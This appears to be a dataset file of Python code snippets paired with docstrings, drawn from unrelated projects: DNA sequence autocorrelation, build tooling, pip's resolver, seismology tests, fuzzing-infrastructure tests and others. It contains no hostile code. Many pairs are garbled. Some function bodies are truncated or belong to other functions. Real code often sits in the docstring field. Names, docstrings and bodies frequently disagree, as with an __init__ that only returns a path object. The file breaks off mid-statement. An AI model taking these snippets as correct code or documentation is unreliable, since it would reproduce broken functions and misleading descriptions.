GetTACC(input_data, **kwargs):\n if \"k\" in kwargs:\n k = kwargs[\"k\"]\n else:\n k = 3\n\n if \"lag\" in kwargs:\n lag = kwargs[\"lag\"]\n else:\n lag = 2\n if \"phyche_index\" in kwargs:\n phyche_index = kwargs[\"phyche_index\"]\n else:\n phyche_index = None\n if \"all_property\" in kwargs:\n all_property = kwargs[\"all_property\"]\n else:\n all_property = False\n if \"extra_phyche_index\" in kwargs:\n extra_phyche_index = kwargs[\"extra_phyche_index\"]\n else:\n extra_phyche_index = None\n\n input_data = [input_data]\n sequence_list, phyche_value = ReadyAcc(\n input_data, k, phyche_index, all_property, extra_phyche_index\n )\n\n from PyBioMed.PyDNA.PyDNAacutil import MakeACVector, MakeCCVector\n\n zipped = list(\n zip(\n MakeACVector(sequence_list, lag, phyche_value, k),\n MakeCCVector(sequence_list, lag, phyche_value, k),\n )\n )\n vec = [reduce(lambda x, y: x + y, e) for e in zipped]\n dict_keys = [\"TCC_%s\" % i for i in range(1, len(vec[0]) + 1)]\n res = dict(zip(dict_keys, vec[0]))\n return res\n\n\nif __name__ == \"__main__\":\n extra_phyche_value = {\n \"AA\": [0.06, 0.5, 0.27, 1.59, 0.11, -0.11],\n \"AC\": [1.50, 0.50, 0.80, 0.13, 1.29, 1.04],\n \"AG\": [0.78, 0.36, 0.09, 0.68, -0.24, -0.62],\n \"AT\": [1.07, 0.22, 0.62, -1.02, 2.51, 1.17],\n \"CA\": [-1.38, -1.36, -0.27, -0.86, -0.62, -1.25],\n \"CC\": [0.06, 1.08, 0.09, 0.56, -0.82, 0.24],\n \"CG\": [-1.66, -1.22, -0.44, -0.82, -0.29, -1.39],\n \"CT\": [0.78, 0.36, 0.09, 0.68, -0.24, -0.62],\n \"GA\": [-0.08, 0.5, 0.27, 0.13, -0.39, 0.71],\n \"GC\": [-0.08, 0.22, 1.33, -0.35, 0.65, 1.59],\n \"GG\": [0.06, 1.08, 0.09, 0.56, -0.82, 0.24],\n \"GT\": [1.50, 0.50, 0.80, 0.13, 1.29, 1.04],\n \"TA\": [-1.23, -2.37, -0.44, -2.24, -1.51, -1.39],\n \"TC\": [-0.08, 0.5, 0.27, 0.13, -0.39, 0.71],\n \"TG\": [-1.38, -1.36, -0.27, -0.86, -0.62, -1.25],\n \"TT\": [0.06, 0.5, 0.27, 1.59, 0.11, -0.11],\n }\n phyche_index = [\n [\n 2.26,\n 3.03,\n 2.03,\n 3.83,\n 1.78,\n 1.65,\n 2.00,\n 2.03,\n 1.93,\n 2.61,\n 1.65,\n 3.03,\n 1.20,\n 1.93,\n 1.78,\n 2.26,\n ],\n [\n 7.65,\n 8.93,\n 7.08,\n 9.07,\n 6.38,\n 8.04,\n 6.23,\n 7.08,\n 8.56,\n 9.53,\n 8.04,\n 8.93,\n 6.23,\n 8.56,\n 6.38,\n 7.65,\n ],\n ]\n\n from PyBioMed.PyDNA.PyDNAutil import NormalizeIndex\n\n dac = GetDAC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", phyche_index=[\"Twist\", \"Tilt\"])\n print(dac)\n print(len(dac))\n\n dac = GetDAC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", all_property=True)\n print(dac)\n print(len(dac))\n\n dac = GetDAC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\",\n phyche_index=[\"Twist\", \"Tilt\"],\n extra_phyche_index=NormalizeIndex(phyche_index, is_convert_dict=True),\n )\n print(dac)\n print(len(dac))\n print(\"\\n\")\n\n dcc = GetDCC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", phyche_index=[\"Twist\", \"Tilt\"])\n print(dcc)\n print(len(dcc))\n\n dcc = GetDCC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", all_property=True)\n print(dcc)\n print(len(dcc))\n\n dcc = GetDCC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\",\n phyche_index=[\"Twist\", \"Tilt\"],\n extra_phyche_index=NormalizeIndex(phyche_index, is_convert_dict=True),\n )\n print(dcc)\n print(len(dcc))\n print(\"\\n\")\n\n print(\"DACC\")\n dacc = GetDACC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", phyche_index=[\"Twist\", \"Tilt\"]\n )\n print(dacc)\n print(len(dacc))\n\n dacc = GetDACC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", all_property=True)\n print(dacc)\n print(len(dacc))\n\n dac = GetDACC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\",\n phyche_index=[\"Twist\", \"Tilt\"],\n extra_phyche_index=NormalizeIndex(phyche_index, is_convert_dict=True),\n )\n print(dac)\n print(len(dac))\n print(\"\\n\")\n\n phyche_index = [\n [\n 7.176,\n 6.272,\n 4.736,\n 7.237,\n 3.810,\n 4.156,\n 4.156,\n 6.033,\n 3.410,\n 3.524,\n 4.445,\n 6.033,\n 1.613,\n 5.087,\n 2.169,\n 7.237,\n 3.581,\n 3.239,\n 1.668,\n 2.169,\n 6.813,\n 3.868,\n 5.440,\n 4.445,\n 3.810,\n 4.678,\n 5.440,\n 4.156,\n 2.673,\n 3.353,\n 1.668,\n 4.736,\n 4.214,\n 3.925,\n 3.353,\n 5.087,\n 2.842,\n 2.448,\n 4.678,\n 3.524,\n 3.581,\n 2.448,\n 3.868,\n 4.156,\n 3.467,\n 3.925,\n 3.239,\n 6.272,\n 2.955,\n 3.467,\n 2.673,\n 1.613,\n 1.447,\n 3.581,\n 3.810,\n 3.410,\n 1.447,\n 2.842,\n 6.813,\n 3.810,\n 2.955,\n 4.214,\n 3.581,\n 7.176,\n ]\n ]\n\n print(\"Begin TAC\")\n tac = GetTAC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", phyche_index=[\"Dnase I\", \"Nucleosome\"]\n )\n print(tac)\n print(len(tac))\n\n tac = GetTAC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", all_property=True)\n print(tac)\n print(len(tac))\n\n tac = GetTAC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\",\n phyche_index=[\"Dnase I\", \"Nucleosome\"],\n extra_phyche_index=NormalizeIndex(phyche_index, is_convert_dict=True),\n )\n print(tac)\n print(len(tac))\n print(\"\\n\")\n\n print(\"Begin TCC\")\n tcc = GetTCC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", phyche_index=[\"Dnase I\", \"Nucleosome\"]\n )\n print(tcc)\n print(len(tcc))\n\n tcc = GetTCC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", all_property=True)\n print(tcc)\n print(len(tcc))\n\n tcc = GetTCC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\",\n phyche_index=[\"Dnase I\", \"Nucleosome\"],\n extra_phyche_index=NormalizeIndex(phyche_index, is_convert_dict=True),\n )\n print(tcc)\n print(len(tcc))\n print(\"\\n\")\n\n print(\"Begin TACC\")\n tacc = GetTACC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", phyche_index=[\"Dnase I\", \"Nucleosome\"]\n )\n print(tacc)\n print(len(tacc))\n\n tacc = GetTACC(\"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\", all_property=True)\n print(tacc)\n print(len(tacc))\n\n tacc = GetTACC(\n \"GACTGAACTGCACTTTGGTTTCATATTATTTGCTC\",\n phyche_index=[\"Dnase I\", \"Nucleosome\"],\n extra_phyche_index=NormalizeIndex(phyche_index, is_convert_dict=True),\n )\n print(tacc)\n print(len(tacc))\n print(\"\\n\")", "nl": "#################################################################Make TACC dictionary.:param input_data: file object or sequence list.:param phyche_index: physicochemical properties list.:param all_property: bool, choose all physicochemical properties or not.:param extra_phyche_index: dict, the key is the dinucleotide (string), and its corresponding value is a list.It means user-defined phyche_index.#################################################################"} {"code": "def optional(self, content):\n return self.marshaller.optional(content)\n", "nl": "Get whether the specified content is optional.@param content: The content which to check.@type content: L{Content}"} {"code": "def preprocess_image(detector, img):\n logger.debug('preprocess image before detect')\n img_ = ensure_grayscale(img)\n factor = detector.config['factor']\n if factor != 1.0:\n downfactor_ = 1 / factor\n img_, downfactor = imscale(img, downfactor_)\n upfactor = 1 / downfactor[0]\n else:\n upfactor = 1.0\n img_ = img\n return img_, upfactor\n", "nl": "Preprocess image before subtracting background"} {"code": "def predict(self, jsonline: str) -> JsonDict:\n return self.predict_json(json.loads(jsonline))\n\n @overrides", "nl": "Make a dialog-style question answering prediction on the supplied input.The supplied input json must contain a list ofquestion answer pairs, containing question, answer, yesno, followup, idas well as the context (passage).Parameters----------jsonline : ``str``A json line that has the same format as the quac data file.Returns----------A dictionary that represents the prediction made by the system. The answer string will be under the\"best_span_str\" key."} {"code": "def __init__(self, root=None):\n return py.path.local(self.root)\n", "nl": " TestWorkTree Init if root is None:# TestWorkTree is often used with cd_to_tmpdir fixture,# so this is safeself.root = os.getcwd()else:self.root = rootsuper(TestWorkTree, self).__init__(self.root)@propertydef tmpdir(self): Temp Dir "} {"code": "def _get_installed_candidate() -> Optional[Candidate]:\n\n :param base_requirements: Requirements known to the resolver. The\n requirements are guaranteed to not have extras.\n :param extras: The extras to inject into the explicit requirements'\n candidates.\n \"\"\"", "nl": "Get the candidate for the currently-installed version.# If --force-reinstall is set, we want the version from the index# instead, so we \"pretend\" there is nothing installed.if self._force_reinstall:return Nonetry:installed_dist = self._installed_dists[name]except KeyError:return None# Don't use the installed distribution if its version does not fit# the current dependency graph.if not specifier.contains(installed_dist.version, prereleases=True):return Nonecandidate = self._make_candidate_from_dist(dist=installed_dist,extras=extras,template=template,)# The candidate is a known incompatiblity. Don't use it.if id(candidate) in incompatible_ids:return Nonereturn candidatedef iter_index_candidate_infos() -> Iterator[IndexCandidateInfo]:result = self._finder.find_best_candidate(project_name=name,specifier=specifier,hashes=hashes,)icans = list(result.iter_applicable())# PEP 592: Yanked releases must be ignored unless only yanked# releases can satisfy the version range. So if this is false,# all yanked icans need to be skipped.all_yanked = all(ican.link.is_yanked for ican in icans)# PackageFinder returns earlier versions first, so we reverse.for ican in reversed(icans):if not all_yanked and ican.link.is_yanked:continuefunc = functools.partial(self._make_candidate_from_link,link=ican.link,extras=extras,template=template,name=name,version=ican.version,)yield ican.version, funcreturn FoundCandidates(iter_index_candidate_infos,_get_installed_candidate(),prefers_installed,incompatible_ids,)def _iter_explicit_candidates_from_base(self,base_requirements: Iterable[Requirement],extras: FrozenSet[str],) -> Iterator[Candidate]:Produce explicit candidates from the base given an extra-ed package."} {"code": "def sample(self, label):\n samples = []\n count = 0\n for trial in range(self.max_trials):\n if count >= self.max_sample:\n return samples\n scale = np.random.uniform(self.min_scale, self.max_scale)\n min_ratio = max(self.min_aspect_ratio, scale * scale)\n max_ratio = min(self.max_aspect_ratio, 1. / scale / scale)\n ratio = math.sqrt(np.random.uniform(min_ratio, max_ratio))\n width = scale * ratio\n if width < 1:\n continue\n height = scale / ratio\n if height < 1:\n continue\n left = np.random.uniform(0., 1 - width)\n top = np.random.uniform(0., 1 - height)\n right = left + width\n bot = top + height\n rand_box = (left, top, right, bot)\n valid_mask = np.where(label[:, 0] > -1)[0]\n gt = label[valid_mask, :]\n new_gt_boxes = []\n for i in range(gt.shape[0]):\n xmin = (gt[i, 1] - left) / width\n ymin = (gt[i, 2] - top) / height\n xmax = (gt[i, 3] - left) / width\n ymax = (gt[i, 4] - top) / height\n new_size = min(xmax - xmin, ymax - ymin)\n if new_size < self.min_gt_scale:\n new_gt_boxes = []\n break\n new_gt_boxes.append([gt[i, 0], xmin, ymin, xmax, ymax])\n if not new_gt_boxes:\n continue\n new_gt_boxes = np.array(new_gt_boxes)\n label = np.lib.pad(new_gt_boxes,\n ((0, label.shape[0]-new_gt_boxes.shape[0]), (0,0)), \\\n 'constant', constant_values=(-1, -1))\n samples.append((rand_box, label))\n count += 1\n return samples", "nl": "generate random padding boxes according to parametersif satifactory padding generated, apply to ground-truth as wellParameters:----------label : numpy.array (n x 5 matrix)ground-truthsReturns:----------list of (crop_box, label) tuples, if failed, return empty list []"} {"code": "def process_use(self):\n\n\tuse_not = self.tmp_use_not = set()\n\tself.tmp_use_seen = []\n\tuse_prec = self.tmp_use_prec = {}\n\tself.uselib = self.to_list(getattr(self, 'uselib', []))\n\tself.includes = self.to_list(getattr(self, 'includes', []))\n\tnames = self.to_list(getattr(self, 'use', []))\n\n\tfor x in names:\n\t\tself.use_rec(x)\n\n\tfor x in use_not:\n\t\tif x in use_prec:\n\t\t\tdel use_prec[x]\n\n\tout = self.tmp_use_sorted = []\n\ttmp = []\n\tfor x in self.tmp_use_seen:\n\t\tfor k in use_prec.values():\n\t\t\tif x in k:\n\t\t\t\tbreak\n\t\telse:\n\t\t\ttmp.append(x)\n\n\twhile tmp:\n\t\te = tmp.pop()\n\t\tout.append(e)\n\t\ttry:\n\t\t\tnlst = use_prec[e]\n\t\texcept KeyError:\n\t\t\tpass\n\t\telse:\n\t\t\tdel use_prec[e]\n\t\t\tfor x in nlst:\n\t\t\t\tfor y in use_prec:\n\t\t\t\t\tif x in use_prec[y]:\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\ttmp.append(x)\n\tif use_prec:\n\t\traise Errors.WafError('Cycle detected in the use processing %r' % use_prec)\n\tout.reverse()\n\n\tlink_task = getattr(self, 'link_task', None)\n\tfor x in out:\n\t\ty = self.bld.get_tgen_by_name(x)\n\t\tvar = y.tmp_use_var\n\t\tif var and link_task:\n\t\t\tif self.env.SKIP_STLIB_LINK_DEPS and isinstance(link_task, stlink_task):\n\t\t\t\tpass\n\t\t\telif var == 'LIB' or y.tmp_use_stlib or x in names:\n\t\t\t\tself.env.append_value(var, [y.target[y.target.rfind(os.sep) + 1:]])\n\t\t\t\tself.link_task.dep_nodes.extend(y.link_task.outputs)\n\t\t\t\ttmp_path = y.link_task.outputs[0].parent.path_from(self.get_cwd())\n\t\t\t\tself.env.append_unique(var + 'PATH', [tmp_path])\n\t\telse:\n\t\t\tif y.tmp_use_objects:\n\t\t\t\tself.add_objects_from_tgen(y)\n\n\t\tif getattr(y, 'export_includes', None):\n\t\t\tself.includes = self.includes + y.to_incnodes(y.export_includes)\n", "nl": "Process the ``use`` attribute which contains a list of task generator names::def build(bld):bld.shlib(source='a.c', target='lib1')bld.program(source='main.c', target='app', use='lib1')See :py:func:`waflib.Tools.ccroot.use_rec`."} {"code": "def members(self):\n return {self.name: self}\n", "nl": "Return set of all leaf node names."} {"code": "def _get_list(self, prefix=None):\n\n answer = _get_filenames(\n os.path.join(\n self.local_repository_location(),\n self._cheatsheet_files_prefix,\n '*'+self._cheatsheet_files_extension))\n\n ext = self._cheatsheet_files_extension\n if ext:\n answer = [filename[:-len(ext)]\n for filename in answer\n if filename.endswith(ext)]\n\n return answer\n", "nl": "List of files in the cheat sheets directorywith the extension removed"} {"code": "def __init__(self, publishers, params):\n super().__init__(publishers, params)\n\n addresses = get_sequential_params(params, \"Address\")\n destinations = get_sequential_params(params, \"Destination\")\n laststates = [None] * len(addresses)\n if len(addresses) != len(destinations):\n raise ValueError(\"List of addresses and destinations do not match up!\")\n self.devices = dict(zip(addresses, destinations))\n self.states = dict(zip(addresses, laststates))\n\n self.log.info(\"Configuring BTLE sensor\")\n\n self.timeout = int(params(\"Timeout\"))\n\n if self.poll <= 0:\n raise ValueError(\"Poll must be greater than 0\")\n if self.poll <= self.timeout:\n raise ValueError(\"Poll must be greater than or equal to Timeout\")\n\n self.values = parse_values(params, (\"ON\", \"OFF\"))\n", "nl": "Initializes the BTLE scanner.Parameters:- Poll: must be > 0 and > Timeout- Address: BTLE MAC address of the device- Destination: Where to publish the presence of absence message- Timeout: Maximum amount of time to wait for BTLE packets- Values: optional, if present should have two values separated bya comma, the first value being the present message and the secondthe absence message that will be published to the destination.Defaults to \"ON\" and \"OFF\"."} {"code": "def type(self):\n return self.filepath\n", "nl": "Returns \"Archive\".return self.__class__.__name__def path(self):Returns the filepath for this Archive."} {"code": "def test_contains_returns_false_for_non_cached_message(self):\n cache = MessageCache(maxlen=5)\n messages = [MockMessage() for _ in range(5)]\n\n for msg in messages:\n cache.append(msg)\n\n for current_loop in range(-5, 5):\n with self.subTest(current_loop=current_loop):\n self.assertEqual(cache[current_loop], messages[current_loop])\n", "nl": "Test if contains returns False for an ID of a non-cached message.cache = MessageCache(maxlen=5)message = MockMessage(id=1234)cache.append(message)self.assertNotIn(4321, cache)def test_indexing(self):Test if the cache returns the correct messages by index."} {"code": "def make_sandbox_command_line(self, extra=None):\n raise NotImplementedError\n\n\nclass SandboxCommandBase(SandboxBase):\n\n \"\"\"\n\n BINARY_PATH_PARAM = 'virt_sandbox_binary'\n\n _name = None\n", "nl": "Return the fully formed command-line for the sandbox using self.options"} {"code": "def load_if_changed(self):\n If no path is specified, attempts to load from ``self.path``.\n\n :type path: str\n :arg path: local file to load from\n\n :type force: bool\n :param force:\n if ``force=False``, only load from ``self.path`` if file\n has changed since last load.\n\n .. deprecated:: 1.6\n This keyword will be removed in Passlib 1.8;\n Applications should use :meth:`load_if_changed` instead.\n \"\"\"", "nl": "Reload from ``self.path`` only if file has changed since last loadif not self._path:raise RuntimeError(\"%r is not bound to a local file\" % self)if self._mtime and self._mtime == os.path.getmtime(self._path):return Falseself.load()return Truedef load(self, path=None, force=True):Load state from local file."} {"code": "def disconnectFromPlot(self, plot):\n points = []\n timeIndices = []\n for p in pts:\n x = np.argwhere(abs(data - p.x()) == abs(data - p.x()).min())\n points.append(Point(data[x], p.y()))\n timeIndices.append(x)\n\n return points, timeIndices\n\n\n\nclass AdaptiveDetrend(CtrlNode):\n \"\"\"Removes baseline from data, ignoring anomalous events\"\"\"", "nl": "Define what happens when the node is disconnected from a plotplot.removeItem(self.line)def processData(self, data):## get array of baseline (from PolyLineROI)h0 = self.line.getHandles()[0]h1 = self.line.getHandles()[-1]timeVals = data.xvals(0)h0.setPos(timeVals[0], h0.pos()[1])h1.setPos(timeVals[-1], h1.pos()[1])pts = self.line.listPoints() ## lists line handles in same coordinates as datapts, indices = self.adjustXPositions(pts, timeVals) ## maxe sure x positions match x positions of data points## construct an array that represents the baselinearr = np.zeros(len(data), dtype=float)n = 1arr[0] = pts[0].y()for i in range(len(pts)-1):x1 = pts[i].x()x2 = pts[i+1].x()y1 = pts[i].y()y2 = pts[i+1].y()m = (y2-y1)/(x2-x1)b = y1times = timeVals[(timeVals > x1)*(timeVals <= x2)]arr[n:n+len(times)] = (m*(times-times[0]))+bn += len(times)return data - arr ## subract baseline from datadef adjustXPositions(self, pts, data):Return a list of Point() where the x position is set to the nearest x value in *data* for each point in *pts*."} {"code": "def _parse_request_result(self, json_str):\n start = time.time()\n diffable_targets = []\n try:\n response = urllib.urlopen(self._request, timeout=self._timeout_s)\n json_str = response.read()\n diffable_targets = self._parse_request_result(json_str)\n except IOError as e:\n raise RequestError(e)\n time_s = time.time() - start\n\n return (diffable_targets, time_s)\n\n\nclass HostResult(object):\n \"\"\"Store all information on a given host.\"\"\"", "nl": "Parse a jsonObject into a list of DiffableTarget.if not json_str:return []try:json_data = json.loads(json_str)except ValueError:return []diffable_targets = []for json_object in json_data:if \"target\" not in json_object:continuetarget = json_object[\"target\"]# target are not always formated in the same way in every cluster, so we delete spacestarget = target.replace(\" \", \"\")ts_to_val = {ts: val for val, ts in json_object[\"datapoints\"]}diffable_targets.append(DiffableTarget(target, ts_to_val))return diffable_targetsdef execute(self):Execute the request and returns a list of DiffableTarget, time_s."} {"code": "def test_magnitude(self):\n filename = os.path.join(self.path, 'quakeml_1.2_magnitude.xml')\n catalog = _read_quakeml(filename)\n assert_no_extras(catalog)\n self.assertEqual(len(catalog), 1)\n self.assertEqual(len(catalog[0].magnitudes), 1)\n mag = catalog[0].magnitudes[0]\n self.assertEqual(\n mag.resource_id,\n ResourceIdentifier('smi:ch.ethz.sed/magnitude/37465'))\n self.assertEqual(mag.mag, 5.5)\n self.assertEqual(mag.mag_errors.uncertainty, 0.1)\n self.assertEqual(mag.magnitude_type, 'MS')\n self.assertEqual(\n mag.method_id,\n ResourceIdentifier(\n 'smi:ch.ethz.sed/magnitude/generic/surface_wave_magnitude'))\n self.assertEqual(mag.station_count, 8)\n self.assertEqual(mag.evaluation_status, 'preliminary')\n self.assertEqual(len(mag.comments), 2)\n c = mag.comments\n self.assertEqual(c[0].text, 'Some comment')\n self.assertEqual(\n c[0].resource_id,\n ResourceIdentifier(id=\"smi:some/comment/id/muh\"))\n self.assertEqual(c[0].creation_info.author, 'EMSC')\n self.assertEqual(c[1].creation_info, None)\n self.assertEqual(c[1].text, 'Another comment')\n self.assertEqual(c[1].resource_id, None)\n self.assertEqual(mag.creation_info.author, \"NEIC\")\n self.assertEqual(mag.creation_info.agency_id, None)\n self.assertEqual(mag.creation_info.author_uri, None)\n self.assertEqual(mag.creation_info.agency_uri, None)\n self.assertEqual(mag.creation_info.creation_time, None)\n self.assertEqual(mag.creation_info.version, None)\n with open(filename, \"rt\") as fp:\n original = fp.read()\n processed = Pickler().dumps(catalog)\n compare_xml_strings(original, processed)\n", "nl": "Tests Magnitude object."} {"code": "def _device_ip(device):\n ifaddresses = netifaces.ifaddresses(device)\n return ifaddresses[netifaces.AF_INET][0]['addr']\n\n", "nl": "Return the IPv4 address assigned to a give device.:param ``str``:Device name:returns:``str`` - IPv4 address of the device"} {"code": "def _gen_ssl_lab_urls(domains):\n return [\"https://www.ssllabs.com/ssltest/analyze.html?d=%s\" % dom for dom in domains]\n\n", "nl": "Returns a list of urls.:param list domains: Each domain is a 'str'"} {"code": "def bool_value(self):\n return bool(self.items)\n\n\nclass Expr(Statement):\n \"\"\"Class representing an :class:`ast.Expr` node.\n\n _astroid_fields = (\"value\",)\n value = None\n \"\"\"What the expression does.\n", "nl": "Determine the boolean value of this node.:returns: The boolean value of this node.:rtype: bool"} {"code": "def add_struct(self):\n list_value = self.values.add().list_value\n list_value.Clear()\n return list_value\n\ncollections_abc.MutableSequence.register(ListValue)\n\n\nWKTBASES = {\n 'google.protobuf.Any': Any,\n 'google.protobuf.Duration': Duration,\n 'google.protobuf.FieldMask': FieldMask,\n 'google.protobuf.ListValue': ListValue,\n 'google.protobuf.Struct': Struct,\n 'google.protobuf.Timestamp': Timestamp,\n}", "nl": "Appends and returns a struct value as the next value in the list.struct_value = self.values.add().struct_value# Clear will mark struct_value modified which will indeed create a struct.struct_value.Clear()return struct_valuedef add_list(self):Appends and returns a list value as the next value in the list."} {"code": "def QueryOffers(self, query, options=None):\n if options is None:\n options = {}\n", "nl": "Query for all offers.:param (str or dict) query::param dict options:The request options for the request:return:Query Iterable of Offers.:rtype:query_iterable.QueryIterable"} {"code": "def test_call_dispatch_func(self):\n\n dispatcher = xmlrpc.server.SimpleXMLRPCDispatcher()\n dispatcher.register_function(None, name='method')\n with self.assertRaisesRegex(Exception, 'method'):\n dispatcher._dispatch('method', ('param',))\n", "nl": "Calls the registered instance's `_dispatch` function# Makes sure any exception raised inside the function has no other# exception chained to itexp_method = 'method'exp_params = 1, 2, 3class TestInstance:def _dispatch(self, method, params):raise SimpleXMLRPCDispatcherTestCase.DispatchExc(method, params)dispatcher = xmlrpc.server.SimpleXMLRPCDispatcher()dispatcher.register_instance(TestInstance())with self.assertRaises(self.DispatchExc) as exc_ctx:dispatcher._dispatch(exp_method, exp_params)self.assertEqual(exc_ctx.exception.args, (exp_method, exp_params))self.assertIsNone(exc_ctx.exception.__cause__)self.assertIsNone(exc_ctx.exception.__context__)def test_registered_func_is_none(self):Calls explicitly registered function which is None"} {"code": "def test_time_no_colon(self):", "nl": "Test time verbalization without a colon (English)processor = TextProcessor(default_lang=\"en_US\")graph, root = processor(\"10am\")words = list(processor.words(graph, root, phonemes=False, pos=False))# Time should be verbalizedself.assertEqual(words,[Word(lang=\"en_US\", idx=0, sent_idx=0, text=\"ten\", text_with_ws=\"ten \"),Word(lang=\"en_US\", idx=1, sent_idx=0, text=\"A\", text_with_ws=\"A \"),Word(lang=\"en_US\", idx=2, sent_idx=0, text=\"M\", text_with_ws=\"M\"),],)def test_date_one_language(self):Test date verbalization (single language)"} {"code": "def forward(self, tsf_x, src_x, Tst, temp_x=None, Ttt=None):\n bs, ns, H, W, _ = Tst.shape\n h, w = tsf_x.shape[-2:]\n\n src_warp = self.lwb(src_x, Tst.view(bs * ns, H, W, 2))\n src_warp_k = self.fk(src_warp)\n src_warp_v = self.fv(src_warp)\n\n K = [src_warp_k.view(bs, ns, -1, h, w)]\n V = [src_warp_v.view(bs, ns, -1, h, w)]\n\n if self.temporal and temp_x is not None and Ttt is not None:\n nt = Ttt.shape[1]\n temp_warp = self.lwb(temp_x, Ttt.view(bs * nt, H, W, 2))\n temp_warp_k = self.fk(temp_warp)\n temp_warp_v = self.fv(temp_warp)\n\n K.append(temp_warp_k.view(bs, nt, -1, h, w))\n V.append(temp_warp_v.view(bs, nt, -1, h, w))\n\n K = torch.cat(K, dim=1)\n V = torch.cat(V, dim=1)\n\n q = self.fq(tsf_x)\n\n x = self.att_block(q, K, V)\n\n gamma, beta = torch.std_mean(x, dim=1, keepdim=True)\n\n return x, gamma, beta\n\n\nclass Encoder(nn.Module):", "nl": "Args:tsf_x (torch.tensor): (bs, c1, h, w)src_x (torch.tensor): (bs * ns, c2, h, w)Tst (torch.tensor): (bs, ns, h, w, 2)temp_x (torch.tensor or None): (bs * nt, c, H, W)Ttt (torch.tensor or None): (bs, nt, H, W, 2)Returns:x (torch.tensor): (bs, c, h, w)gamma (torch.tensor): (bs, 3, h, w)beta (torch.tensor) : (bs, 3, h, w)"} {"code": "def update_states(self, time_delta: float) -> None:\n self.state_manager.update(time_delta)\n if self.state_manager.current_state is None:\n self.exit = True\n", "nl": "Checks if a state is done or has called for a game quit.Parameters:time_delta: Amount of time passed since last frame."} {"code": "def test_itm_not_found(self):\n issue_tracker = mock.Mock()\n monorail_issue = issue.Issue()\n monorail_issue.id = 100\n issue_item = monorail.Issue(monorail_issue)\n self.mock.get_issue_tracker_for_testcase.return_value = issue_tracker\n self.mock.get_search_keywords.return_value = ['query']\n self.mock.get_similar_issues_url.return_value = 'similarurl'\n self.mock.get_similar_issues.return_value = [issue_item]\n issue_tracker.issue_url.return_value = 'issueurl'\n\n response = self.app.get(\n '/?testcaseId=%d&filterType=open' % self.testcase.key.id())\n self.assertEqual(response.status_int, 200)\n self.assertEqual(response.json['queryString'], 'query')\n self.assertEqual(response.json['queryUrl'], 'similarurl')\n self.assertEqual(len(response.json['items']), 1)\n\n self.assertEqual(response.json['items'][0]['issue']['id'], issue_item.id)\n issue_tracker.issue_url.assert_called_with(issue_item.id)\n\n self.mock.get_issue_tracker_for_testcase.assert_has_calls(\n [mock.call(mock.ANY)])\n self.assertEqual(\n self.testcase.key.id(),\n self.mock.get_issue_tracker_for_testcase.call_args[0][0].key.id())\n self.mock.get_similar_issues.assert_has_calls(\n [mock.call(issue_tracker, mock.ANY, only_open=True)])\n self.assertEqual(self.testcase.key.id(),\n self.mock.get_similar_issues.call_args[0][1].key.id())", "nl": "Ensure it errors when issue_tracker_manager doesn't exist.self.mock.get_issue_tracker_for_testcase.return_value = Noneresponse = self.app.get('/?testcaseId=%d&filterType=open' % self.testcase.key.id(),expect_errors=True)self.assertEqual(response.status_int, 404)self.mock.get_issue_tracker_for_testcase.assert_has_calls([mock.call(mock.ANY)])self.assertEqual(self.testcase.key.id(),self.mock.get_issue_tracker_for_testcase.call_args[0][0].key.id())def test_find(self):Ensure it returns correct JSON when everything is ok."} {"code": "def mutate(self, buf):\n", "nl": "Mutator function.num_choices = len(buf) // self.num_byteschanged = 0ratio = self.mutate_ratio()while changed < int(ratio * len(buf)):n = random.randint(0, num_choices - 1)del_start = n * self.num_bytesdel_end = del_start + self.num_bytesdel buf[del_start:del_end]changed += 1class ByteInserter(MutatorPrimitive):Randomly insert |num_bytes| at a time until the ratio is satisfied."} {"code": "def mouse_scroll(driver, scroll_y):\n evt = document.createEvent(\"Event\");\n evt.initEvent(\"wheel\", true, true);\n evt.deltaY = %s;\n evt.clientX = %s;\n evt.clientY = %s ;\n netg.dispatchEvent(evt);\"\"\"", "nl": "scrolls by scroll_y in the netgraph divelement = driver.find_element_by_id(\"netgraph\")mouse_x = (element.location[\"x\"] + element.size[\"width\"]) / 2.0mouse_y = (element.location[\"y\"] + element.size[\"height\"]) / 2.0script = var netg = document.getElementById(\"netgraph\");"} {"code": "def staff_member_required(view_func):", "nl": "Decorator for views that checks that the user is logged in and is a staffmember, displaying the login page if necessary."} {"code": "def teleportAllEntities(self, entity, x, y, z):\n self.console(\"tp @e[type=%s] %d %d %d\" % (entity, x, y, z))\n\n", "nl": "Teleports all of the specific entity type to the specified coordinates.:Args::entity: string entity name type (capitalized correctly!):x: coords:y::z::returns: Nothing - console executes command."} {"code": "def rgb(r, g, b, a=255):\n :param im: A PIL Image object, or a file name\n (given either as Python string or a PyQt string object)\n \"\"\"", "nl": "(Internal) Turns an RGB color into a Qt compatible color integer.# use qRgb to pack the colors, and then turn the resulting long# into a negative integer with the same bitpattern.return qRgba(r, g, b, a) & 0xFFFFFFFFdef fromqimage(im):"} {"code": "def setup_logging(verbosity, no_color, user_log_file):\n\n if verbosity >= 1:\n level = \"DEBUG\"\n elif verbosity == -1:\n level = \"WARNING\"\n elif verbosity == -2:\n level = \"ERROR\"\n elif verbosity <= -3:\n level = \"CRITICAL\"\n else:\n level = \"INFO\"\n\n level_number = getattr(logging, level)\n\n include_user_log = user_log_file is not None\n if include_user_log:\n additional_log_file = user_log_file\n root_level = \"DEBUG\"\n else:\n additional_log_file = \"/dev/null\"\n root_level = level\n\n vendored_log_level = \"WARNING\" if level in [\"INFO\", \"ERROR\"] else 